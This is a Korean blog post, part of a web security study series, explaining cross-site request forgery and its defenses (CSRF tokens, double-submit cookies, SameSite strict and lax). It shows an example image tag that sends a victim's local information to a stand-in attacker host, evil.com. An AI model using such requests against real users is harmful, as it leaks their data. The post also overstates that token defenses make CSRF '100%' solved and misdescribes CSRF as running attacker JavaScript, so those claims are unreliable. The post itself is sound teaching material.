[Security-05] Web Security Pt.4

유영석·2022년 9월 25일
1

Security

목록 보기
5/12
post-thumbnail

이번 시간에는 계속해서 쿠키 보안을 공부하면서 Forgery(속임수)가 무엇인지 배워보도록 하겠습니다.

Cross-Site Request Forgery(CSRF)

SOP를 공부할 때 이미 Cross-Site Request(CSR)을 공부했습니다. 다른 페이지에서 소스를 단순 로드하는 것은 SOP 상에서 전혀 문제가 되지 않았고, 이것을 CSR이라 했습니다. 즉, 브라우저가 다른 origin으로 Sending Request를 보내는 것은 인터넷 상에서 언제 어디서나 일어날 수 있는 일인 거지요.

<img src="http://othersite.com/file.cgi?foo=1&bar=x y">

예를 들어 페이지의 HTML에 위와 같은 코드가 있을 때

위와 같은 Cross-Site GET 요청이 보내집니다. (물론 예외적으로 포트 번호 25인 SMTP 같은 경우에는 이렇게 Cross-Site 방식으로 GET을 보낼 수 없습니다.) 문제는 이렇게 GET 요청을 미친 듯이 보내서 서버가 이에 대한 응답을 처리하느라 원래 해야될 일을 못하고 멈춰버리는 Denial Of Service(DOS) 공격을 유발할 수도 있다는 것이죠.

또 뭐가 있을까요?

<img src="http://evil.com/pass-local-information.jpg?extra_information">

위와 같이 이미지를 다운받는 곳을 공격자의 사이트로 하여 희생자에게서 여러 로컬 정보들은 전송하게끔 할 수도 있겠고요. 이미지를 투명하게 해서 희생자는 이를 직접 볼 수 없지만 그 안에는 위와 같은 소스 코드들을 심어넣을 수도 있을 것입니다.

SOP에서 배운대로 우리는 GET 뿐만 아니라 위와 같이 POST도 할 수 있습니다. 밑의 스크립트문을 통해 보통 버튼 등을 눌러서 보내는 POST 요청을 자동으로 실행할수도 있습니다. 이를 숨겨진 iframe 같은 곳에 심어서 사용자의 의지에 상관없이 POST 요청을 보내게 할 수 있는 것입니다.

SOP 때문에 희생자의 쿠키를 훔치는 일이 무척이나 어려워졌습니다. 그래서 공격자들이 같은 효과를 내지만 쿠키를 빼내지 않고 할 수 있는 방법들을 생각하게 됬습니다. 그래서 생겨난 CSRF는 간단한 시나리오로 표현하자면 이렇습니다.

  • Alice가 어떤 골프 클럽에 VIP로 입장할 수 있는 희귀한 회원권을 가지고 있습니다.
  • Trudy가 Alice를 자신의 집으로 초대하였습니다.
  • Alice가 Trudy의 컴퓨터를 빌려 골프를 예약한 뒤, 로그아웃을 까먹해 떠났습니다.
  • Trudy는 Alice의 로그인을 그대로 이용해 예약을 자신으로 바꿉니다.
  • 그렇게 Trudy는 신나게 골프를 쳤습니다.

위 시나리오에서 Trudy가 Alice의 회원권 자체를 뺐었나요? 이와 같이 공격자는 쿠키 자체를 뺐지는 않습니다. 희생자를 속여 희생자가 이미 인증한 세션을 이용해 공격자가 원하는 행동을 하도록 만드는 것이 바로 CSRF 입니다.

위의 그림의 CSRF의 전체적인 과정입니다. 먼저 희생자가 은행 사이트에 로그인을 합니다. 그렇게 되면 자동으로 희생자는 은행의 세션 쿠키를 받게 됩니다. 그 다음에 공격자가 자신의 사이트로 희생자를 유인합니다. 공격자는 이 페이지의 은행 사이트로 CSR을 넣습니다. 그 CSR 코드의 내용은 공격자의 사이트로 1000만원을 이체하라는 코드였던 것이지요. 그 때 희생자는 자동적으로 보유하고 있던 세션 쿠키까지 같이 보내기 때문에 이것이 가능해지는 겁니다.

어떤 사이트간에 CSR은 쓸 수 있기 때문에 저렇게 공격자를 현혹하는 하이퍼링크에 나쁜 URL을 담는 겁니다. 원래였으면 택도 없겠지만, 만약 현재 사용자가 해당 은행 사이트의 세션 쿠키를 가지고 있다면 자동적으로 실행이 되버리는 겁니다!😫 물론 POST만 받는 은행 사이트가 있을 수 있습니다. 그럴 때는 <a> 태그 같은 걸 사용하지 못하죠.

그래도 위와 같이 <form> 태그를 활용하면 POST도 그리 어려운 일이 아니죠.

Defense to CSRF

CSRF를 막는 방법은 생각보다 간단합니다. 은행 사이트에서 이 요청이 내 origin에서 온 건지 아닌지(CSR로 온건지)만 구분할 수 있으면 될 겁니다. 이체를 하는 요청만 해도 사용자 클라이언트와 은행 서버 사이에서 몇 번의 interaction 후에야 일어날 수 있습니다. 예를 들어, 로그인을 하고, 이체 페이지에서 들어가서, 계좌 번호를 쓰고, 금액을 쓰고, ... 등등이 있겠지요? 그런데 CSR은 한 번에 실제 이체를 보내는 요청이 들어오게 되는 겁니다. 서버 입장에서 너무 비정상적이고 이상한 일이 아닐 수 없습니다.

서버는 모든 과정에서 순차적으로 비밀 값, 즉 Security Token들을 심어 놓고 이를 주고받으며 이체 과정이 만들어지게 됩니다. 그러나 CSR은 이 비밀 값을 모르기 때문에 요청을 해도 서버가 받아주지 않으면 그만인거죠. 첫 번째 방법입니다.

위와 같이 웹 어플리케이션 서버는 클라이언트에게 주는 HTML의 bodycsrf-token이라는 명목으로 비밀의 값을 숨겨서 넘겨줍니다. 그러면 클라이언트는 이 다음에 request를 보낼 때 헤더에 이것을 포함합니다. 그러니, 서버는 이 값을 포함하고 있으면 제대로 됬다고 간주합니다. CSR로 보내면 토큰을 받는 과정이 없었기 때문에 이 값을 포함할 수 없어 서버가 구분할 수 있게 됩니다. 다음과 같은 방법도 있습니다.

서버가 쿠키를 보낼 때 CSRF 토큰을 같이 보내고, 이를 브라우저의 자바스크립트가 읽어서 다음 request에 보내는 겁니다.그렇게 되면 서버는 쿠키로부터 하나 받고, 자바스크립트로부터 하나 받은 두 토큰을 비교할 수 있습니다. 두 값이 같으면 같은 origin에서 온 것이며, 다르면 CSR에서 왔다는 것을 구별할 수 있게 됩니다. 다른 사이트, 예를 들어 공격자 사이트의 자바스크립트는 SOP에 의해 이 값을 읽을 수 없겠죠? 그렇게 CSRF는 100%로 해결되어 이제는 무의미해졌습니다.🤗

SameSite

다른 방어 방법으로는 SameSite라는 쿠키의 attribute(속성) 또한 존재합니다. SameSite는 브라우저에게 third-party의 쿠키를 서버로부터 보내지 말라고 얘기해주는 설정입니다. third-party가 뭐냐고요?

간단하게 얘기해서, 사용자가 방문한 사이트에서 사용하는 쿠키를 first-party 쿠키라고 하고, 그게 아닌 제 3의 사이트에서 사용하는 쿠키를 third-party 쿠키라고 합니다. 예를 들어, 희생자가 현재 위치한 사이트가 공격자의 사이트인 attacker.com이고 거기서 은행 사이트인 bank.com으로 request를 보내는 상황이 있다고 합시다. 그러면 bank.com에서 발행한 쿠키는 third-party 쿠키가 되는 겁니다. (attacker.com에서 쿠키를 발행한다면 first-party 쿠키가 되겠지요.) 그 쿠키를 이용하니까 CSRF가 발생하기에 이를 사전 차단한다는 것이 의의입니다. SameSite에는 두 가지 옵션이 있습니다. 첫 번째는 strict 입니다.

strict 옵션은 말 그대로 완강히 제한하는 것입니다. 어떤 이유가 됬는 절대 third-party 쿠키를 허용하지 않습니다. 그러나, 우리는 third-party가 없는 인터넷 서핑을 상상할 수가 없습니다. 같은 사이트에서 페이지를 이동할 때마다 로그인을 다시 해야 한다면 화가 머리 끝까지 날테고 쿠키의 의의가 사라진다는 말입니다.🤬 즉, 이 방식은 사용자의 브라우저의 경험을 굉장히 해칠 수 있습니다.

그래서 나온 것이 바로 lax 옵션입니다. relax 를 줄인 표현이죠. 이 옵션은 thrid-party의 장점은 취하기 위해 조금은 유해진 옵션입니다. third-party를 예외적으로 Top level navigation 상황일 때만 허용합니다. top level navigation은 웹 페이지 이동을 의미합니다. 즉, 상단의 URL 자체가 바뀌는 것에만 허용을 한다는 겁니다. 그렇기 때문에 HTML 내에 사용되는 <iframe>, <img>, <script>는 이 기준에 통과하지 못해 쿠키를 보내지 못하는 것입니다.

정리하자면, CSRF는 공격자가 희생자의 브라우저에 악의적인 자바스크립트를 실행하는 공격입니다. 그래서 공격자는 희생자가 의동하지 않았던 행동을 취하도록 유도하는 것이죠. 그렇기 때문에 CSRF는 오직 희생자가 취하는 행동에 의해 제한된다는 한계가 존재할 수 있습니다. 이전에 배웠던 XSS는 희생자와는 어떤 사용자 Interaction도 취하지 않기 때문에 더 위험한 공격일 수 있는 겁니다.

profile
백엔드 개발자

0개의 댓글